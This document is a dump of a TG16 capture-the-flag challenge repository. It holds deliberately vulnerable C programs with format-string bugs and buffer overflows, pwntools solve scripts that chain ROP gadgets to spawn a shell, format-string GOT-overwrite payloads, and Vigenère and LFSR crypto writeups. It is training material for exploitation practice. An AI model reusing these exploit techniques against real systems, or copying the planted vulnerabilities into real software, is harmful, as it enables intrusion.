/reverse/1charpw/src/1charpw.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void usage(char* argv[]) { 6 | printf("USAGE: %s \n", argv[0]); 7 | exit(1); 8 | } 9 | 10 | int main(int argc, char* argv[]) { 11 | if(argc < 2) usage(argv); 12 | char* pwd = argv[1]; 13 | if(strlen(pwd) != 1) { 14 | printf("The password is only 1 char\n"); 15 | exit(1); 16 | } 17 | if(pwd[0] != '\"') exit(1); 18 | /* this is to make it a bit less trivial to randomly hit it 19 | * while running the program, as the shell would need 20 | * the " to be escaped. 21 | */ 22 | 23 | printf("gz! The flag is TG16{}\n"); 24 | } 25 | -------------------------------------------------------------------------------- /pwn/rooops/lol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import binascii 3 | 4 | p = remote("127.0.0.1", 7777) 5 | p.recvuntil("Enter name: ") 6 | p.send("A" * 257) 7 | tmp = p.recvuntil("!") 8 | 9 | addr = tmp[265:] 10 | addr = addr[:6].ljust(8, "\x00") 11 | addr = u64(addr) 12 | addr -= 0x41 # hex value of 'A' 13 | 14 | libc_base = addr - 0x5c8000 15 | log.info("address: {}".format(hex(addr))) 16 | log.info("libc base: {}".format(hex(libc_base))) 17 | 18 | pop_rdi = libc_base + 0x22482 19 | bin_sh = libc_base + 0x163b00 20 | system_addr = libc_base + 0x41570 21 | 22 | rop_chain = p64(pop_rdi) 23 | rop_chain += p64(bin_sh) 24 | rop_chain += p64(system_addr) 25 | 26 | pad = "A" * 152 27 | p.sendline(pad + rop_chain) 28 | 29 | p.interactive() 30 | -------------------------------------------------------------------------------- /pwn/format1/src/format1.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | extern void dritt(const char *name); 6 | 7 | int main(void) 8 | { 9 | setvbuf(stdin, NULL, _IONBF, 0); 10 | setvbuf(stdout, NULL, _IONBF, 0); 11 | 12 | printf("Construct the flag like this:\n"); 13 | printf("1. print 2nd parameter on stack as a string\n"); 14 | printf("2. print 4th parameter on stack as a hexadecminal number\n"); 15 | printf("3. print 1st parameter on stack as a string\n"); 16 | printf("Name: "); 17 | 18 | char name[64] = { 0 }; 19 | if (!fgets(name, sizeof(name), stdin)) { 20 | perror("fgets()"); 21 | exit(EXIT_FAILURE); 22 | } 23 | 24 | printf("Hello, "); 25 | dritt(name); 26 | 27 | return 0; 28 | } 29 | -------------------------------------------------------------------------------- /pwn/format2/src/format2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #define FLAG "TG16{overWrit3_that_shit_y0}" 5 | 6 | static unsigned long num = 0xdeadbeef; 7 | 8 | int main(void) 9 | { 10 | setvbuf(stdin, NULL, _IONBF, 0); 11 | setvbuf(stdout, NULL, _IONBF, 0); 12 | 13 | char buf[64] = { 0 }; 14 | printf("Change 0x%lx (at %p) to 0xabadcafe\n", num, &num); 15 | 16 | printf("Enter a nice message: "); 17 | if (!fgets(buf, sizeof(buf) - 1, stdin)) { 18 | perror("fgets()"); 19 | exit(EXIT_FAILURE); 20 | } 21 | 22 | printf("You entered: \n"); 23 | printf(buf); 24 | 25 | if (num == 0xabadcafe) { 26 | printf("Success! The flag is: %s\n", FLAG); 27 | } else { 28 | printf("Sorry, no flag for you :(\n"); 29 | printf("Value: %lx\n", num); 30 | } 31 | 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /pwn/rop32/src/solv.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote("127.0.0.1", 6666) 4 | 5 | r.recvuntil("Choice: ") 6 | 7 | # 2. print function address 8 | r.sendline("2") 9 | r.recvuntil("name: ") 10 | r.sendline("system") 11 | r.recvuntil("system: ") 12 | 13 | system_addr = int(r.recvline().strip(), 16) 14 | log.info("system addr: %s" % hex(system_addr)) 15 | 16 | # 4. search for string 17 | r.recvuntil("Choice: ") 18 | r.sendline("4") 19 | r.recvuntil(": ") 20 | r.sendline("/bin/sh") 21 | r.recvuntil("at ") 22 | 23 | bin_sh = int(r.recvline().strip()[:-1], 16) 24 | log.info("/bin/sh addr: %s" % hex(bin_sh)) 25 | 26 | rop = p32(system_addr) 27 | rop += p32(0xdeadbeef) 28 | rop += p32(bin_sh) 29 | 30 | log.info("sending ROP chain") 31 | r.sendline("3") 32 | r.recvuntil("bytes: ") 33 | r.sendline(rop) 34 | 35 | r.interactive() 36 | -------------------------------------------------------------------------------- /reverse/my_first_hack/README.md: -------------------------------------------------------------------------------- 1 | ### Hacking 101 2 | 3 | This is the simplest task you will ever be given that remotely qualifies 4 | as hacking. Find the flag to take your first few steps towards becoming a 5 | l33t hacker. Good luck! 6 | 7 | Never seen a Linux shell before? If you come from Windows, you've maybe heard of 8 | "CMD", which is Window's shell. This time however you are not in Windows but in 9 | Linux, and if you have never interacted with it before you should start with 10 | googling yourself to some knowledge about basic shell commands. After that you 11 | should probably google a lot more... 12 | 13 | ### Strings - description 14 | 15 | Hopefully this does not require a lot of explanation. 16 | To solve the task simply `strings a.out` or w/e the binary is called. 17 | 18 | I have no idea if the second paragraph is needed there or if this will be 19 | explained somewhere else! 20 | -------------------------------------------------------------------------------- /pwn/old_school/src/overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main(void) 5 | { 6 | char buf[64]; 7 | 8 | void *frame = __builtin_frame_address(0); 9 | void *ret_addr = (char *)frame + 4; 10 | 11 | fprintf(stderr, "buf: %p\n", (void *)buf); 12 | #if 0 13 | fprintf(stderr, "frame: %p\n", frame); 14 | fprintf(stderr, "ret: %p\n", *(void **)((char *)ret_addr)); 15 | fprintf(stderr, "ret: %p\n", __builtin_return_address(0)); 16 | #endif 17 | 18 | size_t len = (size_t)((char *)ret_addr - buf); 19 | fprintf(stderr, "ret offset: %zu\n", len); 20 | 21 | #if 0 22 | fprintf(stderr, "frame: %p\n", frame); 23 | fprintf(stderr, "ret: %p\n", ret_addr); 24 | void *lol = *(void **)ret_addr; 25 | fprintf(stderr, "retval?: %p\n", (void *)lol); 26 | fprintf(stderr, "retval: %p\n", __builtin_return_address(0)); 27 | fprintf(stderr, "buf + len: %p\n", (void *)(buf + len)); 28 | #endif 29 | 30 | fprintf(stderr, "Input:"); 31 | 32 | fgets(buf, 512, stdin); 33 | 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /crypto/size_matters/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | Vigenere again, but this time with a twist: we are using the Norwegian 4 | alphabet. It is solved the same way as Crypto 2, but we have to keep in mind 5 | that the alphabet is 29 characters. 6 | 7 | ``` 8 | $ python kasiski.py 9 | QTL 1 10 | TLV 2 11 | LVZ 3 12 | VZR 4 13 | ZRF 5 14 | RFN 6 15 | FNC 7 16 | NCV 8 17 | NCV 23 18 | NCV 378 19 | NCV 20 | $ python gcd.py 15 355 21 | 5 22 | ``` 23 | 24 | Splitting the ciphertext into 5 subtexts and doing frequenzy analysis gives us 25 | the keyword: 26 | 27 | ``` 28 | MAJOR 29 | ``` 30 | 31 | Decrypting the ciphertext: 32 | 33 | ``` 34 | ETCHIFFERERETSYSTEMELLERENAVBILDNINGHVORENKLARTEKSTBLIRTRANSFORMERTTILENKRYPTOTEKSTTRANSFORMASJONENERDEFINERTVEDENNØKKELSOMMANANTARERKJENTBAREAVAVSENDEROGMOTTAGERMOTTAKERENSTOLKNINGAVENKRYPTOTEKSTKALLESDECHIFFRERINGÅFORSEREETCHIFFERVILSIÅDEKRYPTEREKRYPTOTEKSTENUTENÅKJENNENØKKELENVITENSKAPENOMFORSERINGAVCHIFFERKALLESKRYPTOANALYSEETPERFEKTCHIFFERERUMULIGÅFORSEREUANSETTHVORSTORERESSURSERENANGRIPERRÅROVERFLAGGETERPALAZZORUCELLAI 35 | ``` 36 | 37 | Flag is: PALAZZORUCELLAI 38 | -------------------------------------------------------------------------------- /pwn/rop64/src/solv.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote("127.0.0.1", 6667) 4 | 5 | r.recvuntil("Choice: ") 6 | # print libc address 7 | r.sendline("1") 8 | 9 | r.recvuntil("libc start address: ") 10 | libc_base = int(r.recvline().strip(), 16) 11 | log.info("libc base: %s" % hex(libc_base)) 12 | 13 | # build a system("/bin/sh") chain 14 | r.recvuntil("Choice: ") 15 | # search for string 16 | r.sendline("4") 17 | r.recvuntil(": ") 18 | r.sendline("/bin/sh") 19 | r.recvuntil("at ") 20 | 21 | bin_sh = int(r.recvline().strip()[:-1], 16) 22 | log.info("bin_sh addr: %s" % hex(bin_sh)) 23 | 24 | # get system address 25 | r.sendline("2") 26 | r.recvuntil("name: ") 27 | r.sendline("system") 28 | r.recvuntil("system: ") 29 | 30 | system_addr = int(r.recvline().strip(), 16) 31 | log.info("system addr: %s" % hex(system_addr)) 32 | 33 | pop_rdi_ret = 0x22482 + libc_base 34 | log.info("pop rdi gadget: %s" % hex(pop_rdi_ret)) 35 | rop = p64(pop_rdi_ret) 36 | rop += p64(bin_sh) 37 | rop += p64(system_addr) 38 | 39 | r.sendline("3") 40 | r.recvuntil("bytes: ") 41 | r.sendline(rop) 42 | 43 | r.interactive() 44 | -------------------------------------------------------------------------------- /pwn/rooops/src/off.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | struct addr_info { 12 | void *libc_base; 13 | }; 14 | 15 | static int callback(struct dl_phdr_info *info, size_t size, void *data) 16 | { 17 | (void)size; 18 | 19 | /* FIXME: find a less dirty way? */ 20 | if (!strstr(info->dlpi_name, "libc")) 21 | return 0; 22 | 23 | struct addr_info *a = (struct addr_info *)data; 24 | a->libc_base = (void *)info->dlpi_addr; 25 | 26 | return 0; 27 | } 28 | 29 | int main(void) 30 | { 31 | void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, 32 | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 33 | if (addr == MAP_FAILED) { 34 | perror("mmap()"); 35 | exit(EXIT_FAILURE); 36 | } 37 | 38 | struct addr_info info = { 0 }; 39 | dl_iterate_phdr(callback, &info); 40 | 41 | printf("libc base: %p\n", info.libc_base); 42 | printf("offset: %p\n", (void *)((uint64_t)addr - 43 | (uint64_t)info.libc_base)); 44 | 45 | return 0; 46 | } 47 | -------------------------------------------------------------------------------- /pwn/rop64/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | This task is similar to `32-bit ROP chains`, but this time the ROP chain is a little more complex. Since arguments are passed in registers instead of on the stack, we need a gadget that does `pop rdi ; ret` to set up our argument to `system()`. We're provided with `libc`, so we can grab a gadget from there. 4 | 5 | ``` 6 | $ ROPgadget --binary libc-2.19.so > gadgets 7 | $ cat gadgets | grep ": pop rdi ; ret" 8 | 0x0000000000022482 : pop rdi ; ret 9 | 0x0000000000181f10 : pop rdi ; ret 0xffef 10 | ``` 11 | 12 | We'll set up our ROP chain like this: 13 | ``` 14 | pop rdi gadget 15 | "/bin/sh" 16 | system 17 | ``` 18 | 19 | For the 64-bit version, we first have to get the `libc` base address: 20 | ```python2 21 | r.recvuntil("libc start address: ") 22 | libc_base = int(r.recvline().strip(), 16) 23 | log.info("libc base: %s" % hex(libc_base)) 24 | ``` 25 | 26 | And then we have to modify our ROP chain a bit: 27 | ```python2 28 | 29 | pop_rdi_ret = 0x22482 + libc_base 30 | log.info("pop rdi gadget: %s" % hex(pop_rdi_ret)) 31 | rop = p64(pop_rdi_ret) 32 | rop += p64(bin_sh) 33 | rop += p64(system_addr) 34 | ``` 35 | 36 | Full solution script can be found [here](src/solv.py). 37 | -------------------------------------------------------------------------------- /crypto/size_matters/vigenere.py: -------------------------------------------------------------------------------- 1 | text = "QTLVZRFNCVAEÅDMBTNÆVXLNCVZABPZXDWWBSHBÅFQNTZRATNYGCBUWFCRJØGROÆÆVATÅWÅQNTCMØTXEVWSÅEFMNØTCAMJDÆÆNNØVADNTZZEÆEJQDNØBKKTSÅBOVÆRZAWERAEÆYÆQNÅPRAEJGRESNØUQRXUAÆTÅOXQRVÅHCATSFQNØECXKWWBSABSBWREAHÆTNYGCKJZÅQSMSTTIOTFQRRØXLFXCGQRNSHOHRTWQRBWÅBIIRVWREAHQRNYFHPÅÅHQKØEVZUÅSBLKSSBZEWMØWEUSBEIÅSBBKJAVZOVTCASNCZZGJGTTIOTVAKJZÅQSTCMØTXOBMLEDVQTYSFRETETTIOTVAEÆFADLRUQROÆDVAEAOBBEÅEYEOÆDHÆRNCVBSACGQRNØRZGÆWDQRÆNFÆVNCWXAPUVCEÆARXAFKCAULSÅXAR" 2 | alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZÆØÅ" 3 | key = "MAJOR" 4 | # Æ 198 5 | # Ø 216 6 | # Å 197 7 | def decrypt(): 8 | clear = "" 9 | for i in range(len(text)): 10 | k = ord(key[i%len(key)]) 11 | c = ord(text[i]) 12 | 13 | if c == 198: 14 | c = c - 170 15 | elif c == 216: 16 | c = c - 188 17 | elif c == 197: 18 | c = c - 168 19 | else: 20 | c = c - 64 21 | 22 | if k == 198: 23 | k = k - 170 24 | elif k == 216: 25 | k = k - 188 26 | elif k == 197: 27 | k = k - 168 28 | else: 29 | k = k - 64 30 | 31 | c = (c - k) % 29 32 | clear += alphabet[c] 33 | return clear 34 | 35 | print(decrypt()) 36 | -------------------------------------------------------------------------------- /pwn/rooops/src/lol.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define MAP_SIZE 4096 8 | #define __noinline __attribute__((noinline)) 9 | 10 | struct user { 11 | char name[256]; 12 | char *buf; 13 | int age; 14 | }; 15 | 16 | static __noinline void read_user_input(struct user *user, size_t len) 17 | { 18 | char buf[128] = { 0 }; 19 | printf("Enter a message: "); 20 | 21 | ssize_t ret = read(STDIN_FILENO, buf, len); 22 | if (ret <= 0) { 23 | perror("read()"); 24 | exit(EXIT_FAILURE); 25 | } 26 | 27 | strncpy(user->buf, buf, ret); 28 | } 29 | 30 | int main(void) 31 | { 32 | setvbuf(stdout, NULL, _IONBF, 0); 33 | 34 | struct user user = { 0 }; 35 | user.buf = mmap(NULL, MAP_SIZE, PROT_WRITE | PROT_READ, 36 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 37 | if (user.buf == MAP_FAILED) { 38 | perror("mmap()"); 39 | exit(EXIT_FAILURE); 40 | } 41 | 42 | #if 0 43 | printf("buf: %p\n", user.buf); 44 | printf("pid: %d\n", getpid()); 45 | #endif 46 | printf("Enter name: "); 47 | 48 | if (read(STDIN_FILENO, user.name, sizeof(user.name) + 1) <= 0) { 49 | perror("read()"); 50 | exit(EXIT_FAILURE); 51 | } 52 | 53 | user.name[strcspn(user.name, "\n")] = '\0'; 54 | printf("Welcome, %s!\n", user.name); 55 | 56 | read_user_input(&user, MAP_SIZE); 57 | printf("You entered: %s\n", user.buf); 58 | 59 | return 0; 60 | } 61 | -------------------------------------------------------------------------------- /reverse/debug_help_pls/src/printflag.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char* flags[] = { 6 | "TG16{str}", 7 | "TG16{cmp}", 8 | "TG16{Simula}", 9 | "TG16{UiO ftw}", 10 | "TG16{can this}", 11 | "TG16{flag here}", 12 | "TG16{mindgames}", 13 | "TG16{#tghacker}", 14 | "TG16{@quakenet}", 15 | "TG16{UiO-standen}", 16 | "TG16{flag_iz_her?}", 17 | "TG16{creativia has it}", 18 | "TG16{the flag is there}", 19 | "TG16{Petsovernight.com}", 20 | "TG16{pogothemonkey.com}", 21 | "TG16{Ole Johan Dahl ftw}", 22 | "TG16{this_the_real_flag}", 23 | "TG16{Flag for sale, cheap}", 24 | "TG16{Why are we even here}", 25 | "TG16{dance with me,David?}", 26 | "TG16{maybe_it's_this_one?}", 27 | "TG16{this is getting boring}", 28 | "TG16{Fernandos new beginnings}", 29 | "TG16{maybe it's the oneabove}", 30 | "TG16{maybe it's the one below}", 31 | "TG16{maybe it's not even here}", 32 | "TG16{can't make any more soon}", 33 | "TG16{nah this is the real deal}", 34 | "TG16{filling_the_RAM_with_shit}", 35 | "TG16{I'm blue dabadeee daba da}", 36 | "TG16{this spot is for sale, you c}", 37 | "TG16{an advertise your stuff here}", 38 | "TG16{,contact the hacking crew if}", 39 | "TG16{you are interrested. GLHFGG!}"}; 40 | 41 | int main(void) { 42 | 43 | char flag[128] = { 0 }; 44 | 45 | for (int i = 0; i < 34; i++) { 46 | flag[i] = flags[i][i]; 47 | } 48 | 49 | printf("flag: %x\n", flag); 50 | return 0; 51 | } 52 | -------------------------------------------------------------------------------- /crypto/size_matters/kasiski.py: -------------------------------------------------------------------------------- 1 | text = "QTLVZRFNCVAEÅDMBTNÆVXLNCVZABPZXDWWBSHBÅFQNTZRATNYGCBUWFCRJØGROÆÆVATÅWÅQNTCMØTXEVWSÅEFMNØTCAMJDÆÆNNØVADNTZZEÆEJQDNØBKKTSÅBOVÆRZAWERAEÆYÆQNÅPRAEJGRESNØUQRXUAÆTÅOXQRVÅHCATSFQNØECXKWWBSABSBWREAHÆTNYGCKJZÅQSMSTTIOTFQRRØXLFXCGQRNSHOHRTWQRBWÅBIIRVWREAHQRNYFHPÅÅHQKØEVZUÅSBLKSSBZEWMØWEUSBEIÅSBBKJAVZOVTCASNCZZGJGTTIOTVAKJZÅQSTCMØTXOBMLEDVQTYSFRETETTIOTVAEÆFADLRUQROÆDVAEAOBBEÅEYEOÆDHÆRNCVBSACGQRNØRZGÆWDQRÆNFÆVNCWXAPUVCEÆARXAFKCAULSÅXAR" 2 | #text = "TSFZZZMNPSITBXHPSMJLQMAMIVGWURIXFUMAQJICWKIAIIIBNIEJWLLMDTOGFGRUYDXZHVWTULTBXHPSHZLSSEIITHVFPEIITBEDUEKXAOQBQVKQCLGSIXFAXQPVNAEOBFITASNJTYXZDTTOKHQMAMIDXVTEIIMBOEYFVVVQPSFVUNZIYHXYXIMPSMTTVCTWMCPIREIITHVFPEIITKYDNIJLIGPTAVKMFLSJIHUSPDVVMINOULVNVIZOVVZCLLSPPVZANLIUMPETSQVLAARFWKAMVTHIEXZENJTYXZIDTMDITEPOSLZPTZCIRYQEWEGZIPECJJZMQSFTIUBVCZONLGKTTPRNBBHNJTYXZDTTOJMPENPRWXLECBXVLBAEFWFYIMPSMTTNOCFBRFXLPVWVWIBCBWJVQPSFVUBAKEPMDITEXFRKMPEGJKVGMRPDMGAMROVVZGOTSFEDXZINBRTBDIWXEIMPENPRWXLECBGPLUEDTEXXAWPSIWTZFCPQJXKRPUEEWBHPVRZHVRPHYCTZLJDVRVSEOULVBZMPTWRZMSEIIWEIGTTXIBBHPNMLL" 3 | l = len(text) - 3 4 | 5 | def kasiski(): 6 | for i in range(l): 7 | cur1 = text[i:i+3] 8 | #print(cur1, " ", i+1) 9 | 10 | for j in range(i+1, l): 11 | cur2 = text[j:j+3] 12 | #print(cur2, " ", j+1) 13 | if(cur1 == cur2): 14 | for k in range(j+1, l): 15 | cur3 = text[k:k+3] 16 | if(cur3 == cur1): 17 | print(cur1, " ", i+1) 18 | print(cur2, " ", j+1) 19 | print(cur3, " ", k+1) 20 | return() 21 | 22 | 23 | kasiski() 24 | -------------------------------------------------------------------------------- /crypto/bellaso/writeup.md: -------------------------------------------------------------------------------- 1 | 2 | # Write-up 3 | We are stepping up the difficulty with a Vigenere-cipher. It is still a shift 4 | cipher, but in addition uses a keyword to determine the shift for each letter 5 | in the text. To break this cipher we need to find the length of the keyword. 6 | For this we use [Kasiski examination] (https://en.wikipedia.org/wiki/Kasiski_examination): 7 | 8 | ``` 9 | $ python kasiski.py 10 | TSF 1 11 | TSF 456 12 | SFZ 2 13 | FZZ 3 14 | ZZZ 4 15 | ZZM 5 16 | ZMN 6 17 | MNP 7 18 | NPS 8 19 | PSI 9 20 | PSI 499 21 | SIT 10 22 | ITB 11 23 | ITB 96 24 | TBX 12 25 | TBX 75 26 | BXH 13 27 | BXH 76 28 | XHP 14 29 | XHP 77 30 | HPS 15 31 | HPS 78 32 | PSM 16 33 | PSM 184 34 | PSM 387 35 | PSM 36 | ``` 37 | We see we get three occurrences of "PSM" at positions 16, 184, 387. We then find 38 | the [greatest common divisor] (https://en.wikipedia.org/wiki/Greatest_common_divisor) 39 | of (184-16) and (387-184): 40 | 41 | ``` 42 | $ python gcd.py 168 203 43 | 7 44 | ``` 45 | 46 | We now have a good indication that the length of the keyword is 7. This means 47 | we can split the ciphertext into 7 subtexts where every letter has been 48 | shifted the same. Using frequency analysis and a little guesswork, we now 49 | find the keyword: 50 | 51 | ``` 52 | ALBERTI 53 | ``` 54 | 55 | Knowing the keyword, we can easily decrypt the ciphertext: 56 | 57 | ``` 58 | THEVIGENERECIPHERISSIMPLEENOUGHTOBEAFIELDCIPHERIFITISUSEDINCONJUNCTIONWITHCIPHERDISKSTHECONFEDERATESTATESOFAMERICAFOREXAMPLEUSEDABRASSCIPHERDISKTOIMPLEMENTTHEVIGENERECIPHERDURINGTHEAMERICANCIVILWARTHECONFEDERACYSMESSAGESWEREFARFROMSECRETANDTHEUNIONREGULARLYCRACKEDTHEIRMESSAGESTHEVIGENERECIPHERISSIMPLEENOUGHTOBEAFIELDCIPHERIFITISUSEDINCONJUNCTIONWITHCIPHERDISKSTHECONFEDERATESTATESOFAMERICAFOREXAMPLEUSEDABRASSCIPHERDISKTOIMPLEMENTTHEVIGENERECIPHERDURINGTHEAMERICANCIVILWARTHECONFEDERACYSMESSAGESWEREFARFROMSECRETANDTHEUNIONREGULARLYCRACKEDTHEIRMESSAGESTHEFLAGISTRITHEMIUS 59 | ``` 60 | 61 | Flag is: TRITHEMIUS 62 | -------------------------------------------------------------------------------- /crypto/breaking_the_unbreakable/writeup.md: -------------------------------------------------------------------------------- 1 | ### Writeup 2 | 3 | The task description mentions both OTP and LFSR. If you know anything about 4 | OTPs, you should know that this is not truly an OTP as it would be 5 | unbreakable. In this case, the key has been constructed by an LFSR which makes 6 | it vulnerable to an attack. It is possible to reconstruct an LFSR of length n 7 | if you know 2n-1 bits of the keystream. If you can reconstruct the LFSR used 8 | for the encryption, you can generate the whole key and easily decrypt the flag. 9 | 10 | This attack requires knowledge of some of the cleartext. Luckily, we know that 11 | a flag is encrypted. This means the file starts with "TG", and this is all we 12 | need to break the unbreakable. 13 | 14 | OTPs only use XOR to encrypt. To get the start of the key, we need to XOR "TG" 15 | with the first 16 encrypted bits. Our handy python-script does this for us: 16 | ``` 17 | $ python xor.py 18 | bitarray('0010100100010001') 19 | ``` 20 | 21 | Now that we got the start of the key, we can use an algorithm called 22 | Berlekamp-Massey to find the shortest LFSR that can construct the key we found. 23 | There's an online calculator [here] (http://bma.bozhu.me/). This algorithm 24 | expects the input reversed, so you have to flip the bit-order. Then the 25 | algorithm spits out this polynomial: 26 | ``` 27 | x^8 + x^7 + x^5 + x^3 + 1 28 | ``` 29 | 30 | We construct the LFSR and create a keyfile: 31 | ``` 32 | $ ./lfsr 33 | $ xxd -b keyfile 34 | 00000000: 00101001 00010001 11100011 00100001 00010100 01111100 )..!.| 35 | 00000006: 01111110 01000101 01100101 10011000 11111011 00101110 ~Ee... 36 | 0000000c: 10110101 10011100 10001101 01101110 01001111 01011011 ...nO[ 37 | 00000012: 00100111 01011001 00011100 01111001 11100001 00011010 'Y.y.. 38 | 00000018: 00110100 10000001 00011101 10010000 11111110 10110001 4..... 39 | 0000001e: 11101010 11001101 40 | ``` 41 | 42 | We can now XOR this keyfile with the encrypted flag and write the result to a 43 | (hopefully) readable file: 44 | ``` 45 | $ ./decrypt 46 | $ cat flag.clear 47 | TG16{b23f5ee5d2a340f9} 48 | ``` 49 | -------------------------------------------------------------------------------- /pwn/format3/writeup.md: -------------------------------------------------------------------------------- 1 | ### Even More Format Strings 2 | This time, we have to overwrite the GOT entry of `exit()` with the address of `super_function()`. 3 | 4 | 5 | We start by finding the offset of our input buffer: 6 | ``` 7 | $ python2 -c 'print "AAAA" + "%x."*10' | ./format3 8 | Super Secure Format String Playground 13.37 9 | Welcome! 10 | super_function(): 0x80486cb 11 | Enter an interesting message, please: You entered: AAAA1ff.f7f9e580.8048b5f.0.f7ff0c06.f7ffcfcc.41414141.252e7825.78252e78.2e78252e. 12 | exit value: 0x08048546 13 | ``` 14 | 15 | Subtract 3 "%x", and we have our offset. 16 | ``` 17 | $ python2 -c 'print "AAAA" + "%x."*7' | ./format3 18 | Super Secure Format String Playground 13.37 19 | Welcome! 20 | super_function(): 0x80486cb 21 | Enter an interesting message, please: You entered: AAAA1ff.f7f9e580.8048b5f.0.f7ff0c06.f7ffcfcc.41414141. 22 | exit value: 0x08048546 23 | ``` 24 | 25 | Change `AAAA` to the address of `exit` and prepare to write to this address. 26 | ``` 27 | $ readelf --relocs format3 | grep exit 28 | 08049120 00000907 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 29 | $ python2 -c 'print "\x20\x91\x04\x08" + "%x"*5 + "%08x" + "%hn"' | ./format3 30 | Super Secure Format String Playground 13.37 31 | Welcome! 32 | super_function(): 0x80486cb 33 | Enter an interesting message, please: You entered: �1fff7f9e5808048b5f0f7ff0c06f7ffcfcc 34 | exit value: 0x08040027 35 | [1] 11940 done python2 -c 'print "\x20\x91\x04\x08" + "%x"*5 + "%08x" + "%hn"' | 36 | 11941 segmentation fault (core dumped) ./format3 37 | ``` 38 | 39 | Great! We have overwritten the two lower bytes of the address with `0x27`. `super_function()` is at `0x80486cb`, so we have to change `0x27` to `0x86cb`. We don't have to overwrite the upper bytes as they are the same. 40 | 41 | ``` 42 | >>> 0x86cb - 0x27 + 8 43 | 34476 44 | ``` 45 | 46 | `wanted - current + 8`. `+ 8` because we're using `%08x` at the time. 47 | 48 | 49 | ``` 50 | $ python2 -c 'print "\x20\x91\x04\x08" + "%x"*5 + "%34476x" + "%hn"' | ./format3 51 | [lots of crap] 52 | exit value: 0x080486cb 53 | Congrats! 54 | The token is: TG16{hardc0re_overwriting_stuff} 55 | ``` 56 | -------------------------------------------------------------------------------- /pwn/rop32/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | The program presents us with a menu that allows us to print addresses of functions and strings in libc. It also allows us to insert a ROP chain. 4 | 5 | The plan is to insert a ROP chain that executes `system("/bin/sh")`. The ROP chain will look like this: address of system, dummy return address, "/bin/sh". 6 | 7 | 8 | We'll use `pwntools` to parse the information sent by the program. Here's some python code that will find the address of `system` and the string `/bin/sh`. 9 | ```python 10 | from pwn import * 11 | 12 | r = remote("127.0.0.1", 6666) 13 | 14 | r.recvuntil("Choice: ") 15 | 16 | # 2. print function address 17 | r.sendline("2") 18 | r.recvuntil("name: ") 19 | r.sendline("system") 20 | r.recvuntil("system: ") 21 | 22 | system_addr = int(r.recvline().strip(), 16) 23 | log.info("system addr: %s" % hex(system_addr)) 24 | 25 | # 4. search for string 26 | r.recvuntil("Choice: ") 27 | r.sendline("4") 28 | r.recvuntil(": ") 29 | r.sendline("/bin/sh") 30 | r.recvuntil("at ") 31 | 32 | bin_sh = int(r.recvline().strip()[:-1], 16) 33 | log.info("/bin/sh addr: %s" % hex(bin_sh)) 34 | 35 | # 5. quit 36 | r.sendline("5") 37 | ``` 38 | 39 | Here's an example of the output from the script: 40 | ``` 41 | $ python2 solv.py 42 | [+] Opening connection to 127.0.0.1 on port 6666: Done 43 | [*] system addr: 0xf759c3e0 44 | [*] /bin/sh addr: 0xf76bda69 45 | [*] Closed connection to 127.0.0.1 port 6666 46 | ``` 47 | 48 | ASLR is enabled, so the addresses will be different everytime we run the script. The only thing remaining now is inserting the ROP chain. We have to remember to pack the values before sending. 49 | 50 | ```python 51 | rop = p32(system_addr) 52 | rop += p32(0xdeadbeef) 53 | rop += p32(bin_sh) 54 | 55 | log.info("sending ROP chain") 56 | r.sendline("3") 57 | r.recvuntil("bytes: ") 58 | r.sendline(rop) 59 | 60 | r.interactive() 61 | ``` 62 | 63 | ``` 64 | $ python2 solv.py 65 | [+] Opening connection to 127.0.0.1 on port 6666: Done 66 | [*] system addr: 0xf75ba3e0 67 | [*] /bin/sh addr: 0xf76dba69 68 | [*] sending ROP chain 69 | [*] Switching to interactive mode 70 | $ id 71 | uid=1000(flag) gid=1000(flag) groups=1000(flag) 72 | $ ls 73 | flag.txt 74 | $ cat flag.txt 75 | TG16{32_bit_ROP_chains_are_easy_right?} 76 | ``` 77 | 78 | Full solution script can be found [here](src/solv.py). 79 | -------------------------------------------------------------------------------- /pwn/format2/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Let's connect to the service first: 4 | ``` 5 | nc 127.0.0.1 7778 6 | Change 0xdeadbeef (at 0x80499ac) to 0xabadcafe 7 | Enter a nice message: 8 | ``` 9 | 10 | Okay, so our goal is to overwrite the value at `0x80499ac` with `0xabadcafe`. 11 | First, let's check what's on the stack: 12 | ``` 13 | $ python2 -c 'print "AAAA" + "%x."*10' | nc 127.0.0.1 7778 14 | Change 0xdeadbeef (at 0x80499ac) to 0xabadcafe 15 | Enter a nice message: You entered: 16 | AAAA3f.f7fd1c20.0.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e. 17 | Sorry, no flag for you :( 18 | Value: deadbeef 19 | ``` 20 | 21 | Nice! The fourth parameter printed from the stack is the start of our input (`AAAA`). This means that we can use the `%hn` format specifier to write values to this address. Let's change it to `0x80499ac` and see what happens when we write to it: 22 | 23 | ``` 24 | $ python2 -c 'print "\xac\x99\x04\x08" + "%x%x" + "%08x" + "%hn"' | nc 127.0.0.1 7778 25 | Change 0xdeadbeef (at 0x80499ac) to 0xabadcafe 26 | Enter a nice message: You entered: 27 | ��3ff7fd1c2000000000 28 | 